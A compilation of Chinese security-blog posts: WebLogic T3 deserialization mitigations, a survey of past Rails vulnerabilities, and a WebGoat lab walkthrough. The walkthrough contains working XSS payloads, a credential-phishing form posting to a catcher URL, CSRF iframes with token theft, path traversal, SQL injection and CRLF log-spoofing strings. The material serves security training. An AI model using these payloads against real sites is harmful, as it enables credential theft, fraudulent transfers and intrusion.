经测试,新增的非管理Server的监听端口也提供了T3协议的服务,也存在JAVA反序列化漏洞。因此这种修复方式对于JAVA反序列化漏洞无效,但可将weblogic控制台端口与应用端口分离,可以使用防火墙禁止通过公网访问weblogic的控制台。

websphere的服务端口

我们来看另一款使用广泛的企业级JAVA中间件:websphere的服务端口情况。从下图可以看到,websphere的应用默认HTTP服务端口为9080,应用默认HTTPS服务端口为9443,控制台默认HTTP服务端口为9060,控制台默认HTTPS服务端口为9043,接收JAVA序列化数据的端口为8880。因此只要通过防火墙使公网无法访问websphere服务器的8880端口,就可以防止通过公网利用websphere的JAVA反序列化漏洞。

pic

网络设备对数据包的影响

对安全有一定要求的公司,在部署需要向公网用户提供服务的weblogic服务器时,可能选择下图的部署架构(内网中不同网络区域间的防火墙已省略)。

pic

上述网络设备对数据包的影响如下。

  1. IPS

    IPS可以更新防护规则,可能有厂家的IPS已经设置了对JAVA反序列化漏洞的防护规则,会阻断恶意的JAVA序列化数据包。

  2. 防火墙

    这里的防火墙指传统防火墙,不是指下一代防火墙,仅关心IP与端口,不关心数据包内容,无法阻断恶意的JAVA序列化数据包。

  3. WAF

    与IPS一样,能否阻断恶意的JAVA序列化数据包决定于防护规则。

  4. web代理

    仅对HTTP协议进行代理转发,不会对T3协议进行代理转发。

  5. 负载均衡

    可以指定需要进行负载均衡的协议类型,安全起见应选择HTTP协议而不是TCP协议,只对HTTP协议进行转发,不对T3协议进行转发。

根据以上分析可以看出,web代理和负载均衡能够稳定保证只转发HTTP协议的数据,不会转发T3协议的数据,因此能够防护JAVA反序列化漏洞。

如果在公网访问weblogic服务器的路径中原本就部署了web代理或负载均衡,就能够防护从公网发起的JAVA反序列化漏洞攻击。这也是为什么较少发现大型公司的weblogic反序列化漏洞的原因,其网络架构决定了weblogic的JAVA反序列化漏洞无法在公网利用。

可行的漏洞修复方法

部署负载均衡设备

在weblogic服务器外层部署负载均衡设备,可以修复JAVA反序列化漏洞。

优点 缺点
对系统影响小,不需测试对现有系统功能的影响 需要购买设备;无法防护从内网发起的JAVA反序列化漏洞攻击

部署单独的web代理

在weblogic服务器外层部署单独的web代理,可以修复JAVA反序列化漏洞。

优点 缺点
同上 同上

在weblogic服务器部署web代理

在weblogic控制台中修改weblogic的监听端口,如下图。

pic

在weblogic所在服务器安装web代理应用,如apache、nginx等,使web代理监听原有的weblogic监听端口,并将HTTP请求转发给本机的weblogic,可以修复JAVA反序列化漏洞。

优点 缺点
对系统影响小,不需测试对现有系统功能的影响;不需要购买设备 无法防护从内网发起的JAVA反序列化漏洞攻击;会增加服务器的性能开销

在weblogic服务器部署web代理并修改weblogic服务器的监听IP

在weblogic控制台中修改weblogic的监听端口,并将监听地址修改为“127.0.0.1”或“localhost”,如下图。经过上述修改后,只有weblogic服务器本机才能访问weblogic服务。

pic

在weblogic所在服务器安装web代理应用,如apache、nginx等,使web代理监听原有的weblogic监听端口,并将HTTP请求转发给本机的weblogic,可以修复JAVA反序列化漏洞。web代理的监听IP需设置为“0.0.0.0”,否则其他服务器无法访问。

需要将weblogic停止脚本中的ADMIN_URL参数中的IP修改为“127.0.0.1”或“localhost”,否则停止脚本将不可用。

优点 缺点
对系统影响小,不需测试对现有系统功能的影响;不需要购买设备;能够防护从内网发起的JAVA反序列化漏洞攻击 会增加服务器的性能开销

修改weblogic的代码

weblogic处理T3协议的类为“weblogic.rjvm.t3.MuxableSocketT3”,不同版本的weblogic的该类在不同的jar包中,查找某个类所在的jar包的方法见前文“确定weblogic是否使用了Apache Commons Collections组件”部分。

使用eclipse或其他IDE创建java工程,创建weblogic.rjvm.t3包,并在其中创建MuxableSocketT3.java文件。在定位到“weblogic.rjvm.t3.MuxableSocketT3”类所在的weblogic的jar包后,对其进行反编译,将对应的jar包加入到创建的java工程的classpath中。将原始MuxableSocketT3类的反编译代码复制到创建的java工程的MuxableSocketT3.java中,若其中引入了其他jar包中的类,需要将对应的jar包也加入到java工程的classpath中。

pic

weblogic处理T3协议时会调用MuxableSocketT3类的dispatch方法,weblogic 12.1.3的dispatch方法原始代码如下。

public final void dispatch(Chunk list) {
    if (!(this.bootstrapped)) {
        try {
            readBootstrapMessage(list);
            this.bootstrapped = true;
        } catch (IOException ioe) {
            SocketMuxer.getMuxer().deliverHasException(getSocketFilter(),
                    ioe);
        }
    } else
        this.connection.dispatch(list);
}

在该方法中增加限制客户端IP的处理,若发送T3协议数据的客户端IP不是允许的IP,则拒绝连接。增加限制后的dispatch方法代码如下。

public final void dispatch(Chunk list) {
    if (!(this.bootstrapped)) {
        try {

            //add
            String ip = getSocket().getInetAddress().getHostAddress();
            System.out.println("MuxableSocketT3-dispatch-ip: " + ip);
            if(!ip.equals("127.0.0.1") && !ip.equals("0:0:0:0:0:0:0:1"))
                rejectConnection(1, "Illegal IP");
            //add-end

            readBootstrapMessage(list);
            this.bootstrapped = true;
        } catch (IOException ioe) {
            SocketMuxer.getMuxer().deliverHasException(getSocketFilter(),
                    ioe);
        }
    } else
        this.connection.dispatch(list);
}

停止weblogic,将编译生成的MuxableSocketT3*.class文件替换至MuxableSocketT3所在的jar包中,启动weblogic,再次向weblogic发送T3协议数据包,可以看到如下输出。

pic

上图说明上文增加的代码已正确运行,对weblogic的正常功能没有影响,且能够限制发送T3数据的客户端IP,能够修复反序列化漏洞。

当weblogic处理HTTP协议时,不会调用MuxableSocketT3类,因此上述修改不会影响正常的业务功能。

可通过环境变量或配置文件指定允许发送T3协议的客户端IP,在修改后的dispatch方法中读取,本文的示例仅允许本机发送T3协议。需要将weblogic停止脚本中的ADMIN_URL参数中的IP修改为“127.0.0.1”或“localhost”,否则停止脚本将不可用。

优点 缺点
对系统影响小,不需测试对现有系统功能的影响;不需要购买设备;能够防护从内网发起的JAVA反序列化漏洞攻击;不会增加服务器的性能开销 存在商业风险,可能给oracle的维保带来影响

上述修复方法的最大问题在于可能给oracle维保带来影响,不过相信没有与oracle签订维保合同的公司也是很多的,如果不担心相关的问题,倒是可以使用这种修复方法。如果能够要求oracle提供官方补丁,当然是最好不过了。

Rails Security (上)

$
0
0

Author: Lobsiinvok

0x00 前言


Rails是Ruby广泛应用方式之一,在Rails平台上设计出一套独特的MVC开发架构,采取模型(Model)、外观(View)、控制器(Controller)分离的开发方式,不但减少了开发中的问题,更简化了许多繁复的动作。

此篇讲稿分为上下部份,因为最近在开发Rails,需要针对安全问题做把关,便借此机会针对历史上Rails发生过的安全问题进行归纳与整理。

这篇讲稿承蒙安全领域研究上的先进,在自行吸收转​​换后,如有笔误或理解错误的地方还望各位见谅并纠正我,感谢 :D


快速跳转

0x01 Mass assignment


  • 让Rails developers爱上的毒药(toxic)
  • ActiveRecord在新增物件时可传入Hash直接设定多项属性
  • 若没有限制可传入的参数会造成物件属性可被任意修改

    p1

  • 透过新增/修改送出的属性,可以变更任意物件属性

  • Case

  • Rails 3.2.3后,config.active_record.whitelist_attributes = true

    p2

  • Rails 4后,Rails Core内建strong_parameters

  • 更适当地将处理的过程锁定在Controller layer

  • 更有弹性地针对属性作过滤

0x02 Unsafe Query Generation


  • Rake在处理params时,有时候会产生Unsafe的query

    p3

  • 透过伪造params[:token]成[], [nil], [nil, nil, ...]或['foo', nil],都能够通过.nil?的检查,使得SQL语句被安插IS NULL or IN ('foo', NULL)造成非预期的结果

  • 在Rails 3.2.8增加deep_munge方法来消除掉Hash里的nil

  • commit中可看到类似的检查

    p4

Code for Testing

p5

Rails 3.1.0: 成功绕过nil?的检查

p6

Rails 4.2.5: 被拦截,直接替换成nil

p7

0x03 Content_tag


Rails提供content_tag方便产生HTML

  • 尽管方便,产生出的HTML是safe的吗?很显然的并不是!
  • Ref: brakeman

    p8

  • In latest rails 4.2.5, attr still can be injected with any html data.

    p9

  • 尽管attr values​​有escape,但跟button_to一起作用时却……

    p10

Why?

  • Content_tag回传html_safe的字串,代表此字串在后续输出时不再做escape
  • 建立在attacker无法构建html_safe型的字串(等价于raw)
  • 丢给button_to时因为不再做escape导致XSS问题

0x04 YAML.load


难得一见的RCE漏洞(CVE-2013-0156)

  • 主因出在YAML
  • CVE-2013-0156发生在可透过YAML解析时指定tag的方式覆盖已经载入的instance
  • 在rails3后已从DEFAULT_PARSERS移除

    p11

  • 此次问题发生在XML解析

  • 在解析时会经过Hash.from_xml(request.raw_post),底处是到typecast_xml_value进行xml的处理,这篇前辈的文章解释得很清楚,因为typecast_xml_value里针对xml node type可以进行YAML的解析调用(允许的type定义在ActiveSupport::XmlMini::PARSING),因此造成RCE问题

  • 透过patch可以更明显看到修补后的不同

p12

p13

Ref: Rails 3.2

Proof

Rails 3.1: 成功执行指令

p14

难得一见的RCE漏洞(CVE-2013-0333)

  • CVE-2013-0333问题一样发生在YAML.load
  • 在rails 3.0.19(含)前,rails3.0.x的JSON Parser竟然是使用YAML作为Backend
  • 问题发生在YAML backend中的convert_json_to_yaml
  • 这篇讲得很详细
  • Patch for CVE-2013-0333

p15

Rails 3.0.20

0x05 Dynamic Render Path


Render是处理request的一连串过程

  • 除了Insecure Direct Object Reference的安全问题,DEVCORE也在进行渗透测试时发现潜在的RCE问题
  • rails目前最新版本4.2.5预设也是用ERB去做样板处理,但在rails5开发过程中已经加入此次commit
  • 动态样板间接变成LFI问题,搭配上面所述的default_template_handler为ERB,只要找到有调用ruby code的样板或是可自行写入的档案,就能够造成RCE

    p16

    p17

  • 真实环境下发生的问题可以前往DEVCORE查看

  • 如果有类似开发环境应立即处理,default_template_handler要到rails5才转换成RAW

  • 改以白名单的方式限制template名称或是根据commit的内容手动Patch

0x06 Reference


Webgoat学习笔记

$
0
0

0x00 安装


WebGoat的版本区别

WebGoat是一个渗透破解的习题教程,分为简单版和开发版,GitHub地址.

简单版安装

简单版是个JAVA的Jar包,只需要有Java环境,然后在命令行里执行

java -jar webgoat-container-7.0.1-war-exec.jar

然后就可以访问"127.0.0.1:8080/WebGoat"就可以了,注意"WebGoat"大小写敏感,不能写错.

开发版安装

WebGoat有些题目是开发版中才能做的,所以说需要安装开发版(但是比较坑的是安了开发版也有做不了的)先来看看条件

  • Java >= 1.6 ( JDK 1.7 recommended )
  • Maven > 2.0.9
  • Your favorite IDE, with Maven awareness: Netbeans/IntelliJ/Eclipse with m2e installed.
  • Git, or Git support in your IDE

Java环境肯定要装,然后因为我用的是Mac所以IDE用的是Xcode,Xcode自带了Git.所以剩下的就剩下Maven.

Maven

用过Xcode的应该知道CocoaPods,Maven就是类似CocoaPods的一个包管理软件,下载地址中下载压缩包,不要下载源码

apache-maven-3.3.9-bin.zip

然后进行解压缩,之后进行Maven配置,其中x.x.x为版本号,Name为你Mac的账户名

  1. 将解压后文件夹apache-maven-x.x.x移到/Users/Name/Library目录下
  2. 然后修改~/.bash_profile的内容,如果不存在就新建一个

全部命令行为

cd ~/Downloads/
mv  apache-maven-3.3.9 ~/Library/apache-maven-3.3.9
vi ~/.bash_profile

其中bash_profile的内容为

export MAVEN_HOME=/Users/Name/Library/apache-maven-3.3.9
export PATH=$PATH:$MAVEN_HOME/bin

然后进行测试

mvn -version

看到以下内容就是成功了

Apache Maven 3.3.9 (bb52d8502b132ec0a5a3f4c09453c07478323dc5; 2015-11-11T00:41:47+08:00)
Maven home: /Users/Name/Library/apache-maven-3.3.9
Java version: 1.7.0_80, vendor: Oracle Corporation
Java home: /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre
Default locale: zh_CN, platform encoding: UTF-8
OS name: "mac os x", version: "10.11.3", arch: "x86_64", family: "mac"

WebGoat-Development

在环境安装完毕之后新建一个文件夹WebGoat-Workspace执行sh脚本自动下载和编译

mkdir WebGoat-Workspace
cd WebGoat-Workspace
curl -o webgoat_developer_bootstrap.sh https://raw.githubusercontent.com/WebGoat/WebGoat/master/webgoat_developer_bootstrap.sh
sh webgoat_developer_bootstrap.sh

编译提示Exit

有时候可能会碰见类似这样的Debug提示

2016-03-08 14:33:20,496 DEBUG - Exit: AxisEngine::init
2016-03-08 14:33:20,496 DEBUG - Exit: DefaultAxisServerFactory::getServer
2016-03-08 14:33:20,496 DEBUG - Exit: getEngine()

产生的原因是WebGoat-Lessons的课程配置不对,打开/WebGoat-Lessons/pom.xml大概在100多行找到以下这个,把7.1-SNAPSHOT改成正确的版本号,再次运行sh脚本就可以了

<dependency>
    <groupId>org.owasp.webgoat</groupId>
    <artifactId>webgoat-container</artifactId>
    <version>7.1-SNAPSHOT</version>
    <type>jar</type>
    <scope>provided</scope>
</dependency>

Chrome和BurpSuite

使用Chrome主要是其插件比较多,平时上网我都是用Safari的,下载一个插件"Proxy SwitchyOmega",可以设置仅有Chrome走代理,然后将代理指向BurpSuite的端口和地址,BrupSuite使用看这里.

0x01 开始


WebGoat的大坑

由于WebGoat不同的版本课程都不一样,所以说网上的资料也不全,我用的是7.1.0版本,先来上个图

Figure01

而且!!!最坑的是!!!有些题根本他娘的没答案,或者答案是错的,开发版的题也不知道怎么做!

Introduction

这一章节教了你怎么用这个东西,以及怎么为这个组织贡献课程,主要就是3个选项,没什么实质教学内容

  • Java Source: 源码
  • Solution: 答案
  • Hints: 提示

General-Http Basics

这一章节让你明白什么是Http,可以用BurpSuite拦截一下报文和我Blog中讲的基础进行验证下,Solution使用的拦截工具是WebScarab,单独安装比较难,可以在Kali中使用,但是我用的是BurpSuite,效果一样.

Access Control Flaws-Using an Access Control Matrix

这个就是让你初步理解权限的概念,点一点,找到谁的权限最大就可以了

Access Control Flaws-Bypass a Path Based Access Control Scheme

这一节是让你利用拦截工具,改变参数,访问到原本不能访问的路径,在BurpSuite的Intercept里抓到这个请求

Figure02

然后根据Hints提醒使用shell脚本里切换到上一级目录的指令".."修改File的值"CSRF.html"构造出另外一个指令

 ../../../../../WEB-INF/spring-security.xml

就可以访问到目标目录意外的文件,但是坑爹的是不论试验了多少次都提示我

* Access to file/directory " ../../../../../WEB-INF/spring-security.xml" denied

然后看Solution里说是访问main.jsp于是改为

 ../../../../../main.jsp

课程通过...Hints和Solution根本不一样...这就是WebGoat的坑爹之处

Access Control Flaws-LAB: Role Based Access Control

Stage 1: Bypass Business Layer Access Control

权限管理问题,由于代码没有对Control里的Delete指令做权限管理,又通过action字段判断Control指令,所以原本不应该有Delete权限的Tom执行了Delete操作.

  1. 使用密码jerry进入Jerry Mouse的帐号,有ViewProfile和DeleteProfile的操作
  2. 使用密码tom进入Tom Cat的帐号,只有ViewProfile
  3. 执行ViewProfile拦截请求,改action为DeleteProfile

Stage2

说是需要在开发版下修复这个问题,没找到怎么修复.

Stage 3: Bypass Data Layer Access Control

水平越权问题,View这个操作不能像Delete一样对Tom进行权限上的控制,那么与Tom出于同一层级的其它用户也具有这个权限,所以说Tom可以通过拦截修改employee_id水平的访问其它人的资料,也是属于非正常逻辑.

Stage4

需要对每一个操作再次进行权限核实,才能解决这个问题,也是要求在开发版下完成这节课,但是我也不知道怎么完成.

AJAX Security-LAB: Client Side Filtering

客户端过滤,有些时候服务器返回的了很多条信息,只挑选了其中少数进行显示,可以在返回的html源码中看到全部的信息.

  1. 选中名字附近元素点击"检查"
  2. 在源码中搜索关键词"hidden" "Joanne"等
  3. 发现有3个"Joanne",其中一个隐藏了Neville的信息

AJAX Security-DOM Injection

DOM:文档对象模型(Document Object Model),是W3C组织推荐的处理可扩展标志语言的标准编程接口.就是HTML报文中的节点,这里说是通过DOM注入的方式让原本网页中不可点击的按钮变为可点击.

  1. 输入License Key会自动发起一个Ajax的请求
  2. 通过拦截AJAX请求的返回报文,把报文头和内容全部清空
  3. 更改返回为一段JS代码

如下

 document.form.SUBMIT.disabled = false

此时按钮就可以使用了,除了这个方法之外,还可以直接检查按钮

<input disabled="" id="SUBMIT" value="Activate!" name="SUBMIT" type="SUBMIT">

改disabled为false或者直接删除这个标记.

AJAX Security-LAB: DOM-Based cross-site scripting

这就是一个简单的反射型XSS的演示,依次输入以下内容在文本框里

World//正常
<IMG SRC="images/logos/owasp.jpg"/>//XSS插入图片
<img src=x onerror=;;alert('XSS') />//XSS插入Alert
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>//XSS插入iFrame

甚至可以直接伪造界面

Please enter your password:
<BR><input type = "password" name="pass"/>
<button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button>
<BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>

AJAX Security-XML Injection

XML注入攻击,和HTML注入攻击一样,都是利用文本解析机制,写入恶意输入

  1. 输入ID:836239,拦截请求
  2. 修改返回报文的XML文件,给自己跟多的选择

返回报文

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/xml
Date: Tue, 08 Mar 2016 08:46:40 GMT
Content-Length: 136

<root>
<reward>WebGoat Mug 20 Pts</reward>
<reward>WebGoat t-shirt 50 Pts</reward>
<reward>WebGoat Secure Kettle 30 Pts</reward>
</root>

可以修改内容为

<root>
<reward>WebGoat Mug 20 Pts</reward>
<reward>WebGoat t-shirt 50 Pts</reward>
<reward>WebGoat Secure Kettle 30 Pts</reward>
<reward>WebGoat Secure Kettle 30 Pts</reward>
<reward>WebGoat Core Duo Laptop 2000 Pts</reward>
<reward>WebGoat Hawaii Cruise 3000 Pts</reward>
</root>

AJAX Security-JSON Injection

JSON注入攻击,原理和XML注入攻击一样

  1. From输入BOS,to输入SEA
  2. 拦截请求返回报文

如下

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Date: Tue, 08 Mar 2016 08:50:24 GMT
Content-Length: 169

{
"From": "Boston",
"To": "Seattle", 
"flights": [
{"stops": "0", "transit" : "N/A", "price": "$600"},
{"stops": "2", "transit" : "Newark,Chicago", "price": "$300"} 
]
}

修改600美元为30美元就可以便宜了

AJAX Security-Insecure Client Storage

这是最坑的一道题!!!

先来说下题目的原意,题目中让你找出优惠券号码,然后享受优惠,利用情形是

  1. 有的优惠券号码是由服务器发送到前端的
  2. 为了防止从源码窃取,发送到浏览器的是加密后的优惠码,用一定算法进行解密
  3. 然后对比解密后的优惠券和用户的输入
  4. 相同就享受优惠

这里有个逻辑漏洞,就是拿解密后的优惠码明文和用户输入进行对比,而不是加密用户的输入与密文对比,所以前端还是可以通过JS打断点获取到优惠码明文.

大坑来了

如果相对JS打断点,首先要能在控制台找到JS脚本文件,由于整个页面是使用了JQuery内嵌了课程内容(网页内部嵌另外一个网页),红色框内的内容是动态加载的,所以直接在Sources页面根本找不到内嵌网页的"clientSideValidation.js"

这个坑了我好久啊,对前端不熟悉怎么都找不到.js文件

Figure03

Solution里给的答案第一步就是让你定位"clientSideValidation.js",定位不到怎么办!!!!

检查Network

既然内部的网页是动态加载的,那么肯定有网络通讯,可以通过检查Network看记录,和"clientSideValidation.js"附近的文件有个条网络请求"attack?Screen=272&menu=400"的,点击可以看到红色框体内的页面,然后可以获取到实际地址

http://zhuojiademacbook-pro.local:8080/WebGoat/attack?Screen=272&menu=400

利用Request拦截

除去查看Network之外,还可以利用BurpSuite拦截Ajax请求,因为整个页面是通过Ajax刷新的,Ajax本身又是一种请求,那么只要我点击purchase,就可以拦截到一条Request请求,且能看到页面内的相关参数

  1. 对这个请求点击Action-Send to repeater
  2. 右键-Show response in browser
  3. 从浏览器里打开链接(注意此时关闭拦截)
  4. 就跳转到了实际内部页面的地址

得到了实际地址后,就可以在子页面内调试JS

Stage2

第二步说的是有些在前端可以通过删除掉input框的readonly标记任意修改金额,比较简单

AJAX Security-Dangerous Use of Eval

Eval是php语言中执行一段JS代码的意思,这一道题也是一种典型的反射型XSS展示,与刚刚基于DOM的不同,DOM是直接插入新节点,而这个是使用一定技巧,先关闭原本的DOM,然后写自己的DOM,再组装好刚刚被关闭DOM的后半部分.

通过php的Eval,alert被执行

123');alert(document.cookie);('

123后的

');

使得原本的DOM不受影响,最后的

('

闭合掉了原本多出的')符号

插入代码的样子是

('123');alert(document.cookie);('')

0X02 后续


Authentication Flaws-Password Strength

介绍了不同复杂度的密码需要破解的时间,给的网站

https://howsecureismypassword.net

尼玛根本打不开,已经不存在了貌似,翻墙也没有

Authentication Flaws-Forgot Password

题目的所有目的都是告诉你有些忘记密码的问题太简单,可以直接猜出来....尼玛...猜出来..猜出来..

  1. 输入admin
  2. 密码问你最喜欢的颜色
  3. 颜色不就没几种么
  4. 猜红黄绿三原色,然后green就猜中了

Authentication Flaws-Multi Level Login 1

这个题目坏掉了,题目的本意是第二步提交TAN#值的时候,有个叫hidden_tan的隐藏参数,来告知客户端哪个TAN值被用掉了,只需要修改这个值,就可以再次利用被使用过的TAN

可是我使用Jane和tarzan登录之后,第二次再登录不能用了...不知道是不是我理解错了.还是!!真的坏掉了!!

Authentication Flaws-Multi Level Login 2

两步验证的错误,意思是让你使用Joe和banana这个账户来登录Jane,因为第二步有个input的值叫hidden_user,在使用了Joe登录后,用户信息会被存在这个字段在第二步发送,所以只需要修改这个字段为Jane,就可以登录Jane

Buffer Overflows-Off-by-One Overflows

这一章节是为了介绍内存溢出带来的危害...但是题目感觉是为了出题而出题,并没有真实还原一个内存溢出造成的BUG

  1. 第一步让你提交入住等级,姓名.房间号
  2. 第二步让你选择入住时间
  3. 选择成功会返回你的姓名和房间号

这里对第三个参数填充超级大的数据,比如大于4096位的字符串,就可能造成内存溢出漏洞,从而返回VIP客户的房间号和姓名

大坑来了

这个题目的想法是好的,目的在于输入框输入位数有限制,那么可以通过拦截报文,然后使用Intruder进行爆破,填充超级大的数据来造成内存溢出,但是,这里并没有真正还原了一个内存溢出错误,而是通过以下代码

// And finally the check...
       if(param3.length() > 4096)
       {
           ec.addElement(new Input(Input.hidden, "d", "Johnathan"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "e", "Ravern"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "f", "4321"));
           ec.addElement("\r\n");

           ec.addElement(new Input(Input.hidden, "g", "John"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "h", "Smith"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "i", "56"));
           ec.addElement("\r\n");

           ec.addElement(new Input(Input.hidden, "j", "Ana"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "k", "Arneta"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "l", "78"));
           ec.addElement("\r\n");

           ec.addElement(new Input(Input.hidden, "m", "Lewis"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "n", "Hamilton"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "o", "9901"));
           ec.addElement("\r\n");

           s.setMessage("To complete the lesson, restart lesson and enter VIP first/last name");

       }

仅仅是检查了第三个参数的长度,来增加返回报文,伪造了一个看似内存溢出的漏洞,十分坑爹....所以我还是不知道到底内存溢出漏洞咋产生的...

如何使用intruder爆破

我们要爆破的是第二个界面点击"Accept Terms"的链接,拦截下之后点击"Action-Send to intruder"

  1. 选择Sniper模式
  2. 点击Clear清除所有爆破点,然后选中114这个房间号码,点击Add设置为爆破点
  3. 进入Payloads标签页
  4. 选择用Character Blocks(字符串块)填充
  5. 基础字符串是A,选择最短位数4096最长位数10240,步长50

Figure01

Figure02

这个Character Blocks是什么意思呢?就是代表用4096位的A开始然后50位50位的依次加长长度,直到达到10240位,然后点击Start Attack,查看大于4096位之后的结果,就可以看到模拟出的内存泄漏信息

Figure03

Code Quality-Discover Clues in the HTML

这一篇主要在讲,没事不要他娘的乱写备注...比如这个作者把管理员用户名密码写备注里了

<!-- FIXME admin:adminpw  -->
<!-- Use Admin to regenerate database  -->

Concurrency-Thread Safety Problems

线程安全问题,有些程序员写代码的时候喜欢各种用Static/Const之类的,觉得自己对内存了如指掌,吊的不知道哪里去了.但是往往忽略了多线程的问题,比如这个问题的源码

private static String currentUser;
private String originalUser;

这里currentUser使用了static静态变量,又没有做线程保护,就会造成浏览器Tab1访问这个页面时,Tab2同时访问,数据就会被替换掉

Concurrency-Shopping Cart Concurrency Flaw

如上题一样,也是由于使用了静态变量却没有做线程保护,导致的购物车多线程支付问题.

0x03 XSS


Cross-Site Scripting (XSS)-Phishing with XSS

简单的反射型XSS钓鱼演示

</form>
  <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

将上边的代码输入到文本框,XSS会造成一个钓鱼的登录界面,用来骗取登录账户和密码

Cross-Site Scripting (XSS)-LAB: Cross Site Scripting

这是一篇系统的XSS介绍

Stage1-4

这四个步骤介绍了储存型XSS,主要步骤如下

  1. Tom的档案是可以编辑的,Jerry作为人力可以查看Tom的档案
  2. Tom对自己的档案进行编辑,放入XSS代码,被储存到数据库
  3. Jerry查看Tom档案时,咣当..中招了

然后Stage2和4给出了两种方法修复XSS

第一是对输入进行检查,进行编码,第二个是对输出进行编码,分为JS Encode和HTML Encode,整个1-4由于没有Soluition,而且貌似XSS已经是被修复后的状态,所以没法完成...感觉这节课也是坏掉的...

Stage5-6

这里是反射型XSS的教程,说是在SearchStaff有个反射型的XSS,可以通过输入那里注入代码,但是没能复现,可能也是坏掉了...Stage6必须在开发模式下,也不知道怎么做.

Cross-Site Scripting (XSS)-Stored XSS Attacks

讲述了一种最典型的储存型XSS的例子---||||-留言板.

  1. 留言板可以输入任何信息
  2. 没有进行输入输出编码,产生了XSS
  3. 用户A进行恶意留言
  4. 用户B点进来自动显示用户A的留言,中XSS

Cross-Site Scripting (XSS)-Reflected XSS Attacks

典型的反射型XSS掩饰,Enter your three digit access code:输入框有反射型XSS漏洞

Cross-Site Scripting (XSS)-Cross Site Request Forgery (CSRF)

这里是一个储存型XSS和CSRF结合的示例,CSRF就是冒名登录,用代码伪造请求,详细看这里,这里是吧CSRF恶意代码利用储存型XSS放到了网页上,通过留言Message里输入

<iframe src="attack?Screen=284&amp;menu=900&amp;transferFunds=5000"></iframe>

就可以看到储存型XSS会出发出一个转账页面,如果想这个页面被被害者发现

<iframe src="attack?Screen=284&amp;menu=900&amp;transferFunds=5000" width="1" height="1"></iframe>

通过宽高设置成1像素,隐藏掉这个页面

Cross-Site Scripting (XSS)-CSRF Prompt By-Pass

这个就是利用CSRF进行冒名操作转账,留下恶意代码如下

<iframe
    src="attack?Screen=282&menu=900&transferFunds=5000"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';">
</iframe>

<iframe
    id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300">
</iframe>
  1. 第一个iframe是进行转账5000
  2. 当第二个加载完毕,去获取第二个iframe执行转账确认按键
  3. 然后再下边事先构造好"id=frame2"的第二个iframe

根据刚刚的文章讲,预防CSRF的一个有效手段就是Token,但是Token在管理不严的情况下也是可以被窃取的

Cross-Site Scripting (XSS)-

演示窃取Token后的CSRF

<script>
var tokensuffix;

function readFrame1()
{
    var frameDoc = document.getElementById("frame1").contentDocument;
    var form = frameDoc.getElementsByTagName("form")[0];
    tokensuffix = '&CSRFToken=' + form.CSRFToken.value;

    loadFrame2();
}

function loadFrame2()
{
    var testFrame = document.getElementById("frame2");
    testFrame.src="attack?Screen=278&menu=900&transferFunds=5000" + tokensuffix;
}
</script>

<iframe src="attack?Screen=278&menu=900&transferFunds=main"
    onload="readFrame1();"
    id="frame1" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>

<iframe id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>
  1. 先加载main页面窃取Token
  2. 然后加载转账页面发送CSRF转账请求

Cross-Site Scripting (XSS)-HTTPOnly Test

这里就是测试HTTPOnly在对第三方Cookie的管理的影响,被标记了HTTPOnly的Cookie不能被JS获取到.所以一般Session和Token最好放在带有标记的Cookie里

但是这里有个疑问,如果用户选择不同的DOM就可以打开关闭HTTPOnly的标记,是不是可以诱导用户先关掉呢...还是说这里也是为了出题而出题,只是伪造了HTTPOnly的效果

Improper Error Handling-Fail Open Authentication Scheme

这一个章节主要是讲要对错误有处理,不然错误处理的不全面也可能造成漏洞,比如这里

  1. 输入webgoat帐号
  2. 然后输入任意密码
  3. 拦截Request报文
  4. 删掉密码这一个参数

这样也能登录成功,所以说明代码对获取不到密码这个参数时的错误处理不充分

0x04 Injection


Injection Flaws-

整个一章都在讲注入,由于注入的手段基本类似,主要是两点

  1. 提前闭合正常代码,输入恶意代码
  2. 处理由于闭合正常代码留下的尾巴

Injection Flaws-Command Injection

这个的意思是进行命令行注入,因为有些操作后台都是通过命令行完成的,所以可以尝试输入Shell指令来进行注入,但是它喵的我按照它说的来怎么都完成不了......

Injection Flaws-Numeric SQL Injection

数字SQL注入,这里说的一个SQL语句

SELECT * FROM weather_data WHERE station = [station]

可以拦截报文将station字段后补充

101 OR 1=1

整个语句就变成了

SELECT * FROM weather_data WHERE station = 101 OR 1=1

由于1=1恒成立,所以会遍历出所有的数据库表单

Injection Flaws-Log Spoofing

日志伪造,这里是攻击者发现了日志生成的规则,通过注入恶意字符串,按照规则伪造出一条日志,在Username输入

Smith%0d%0aLogin Succeeded for username: admin

其中%0d和%0a为CRLF换行符,看到的输出为

Login failed for username: Smith
Login Succeeded for username: admin
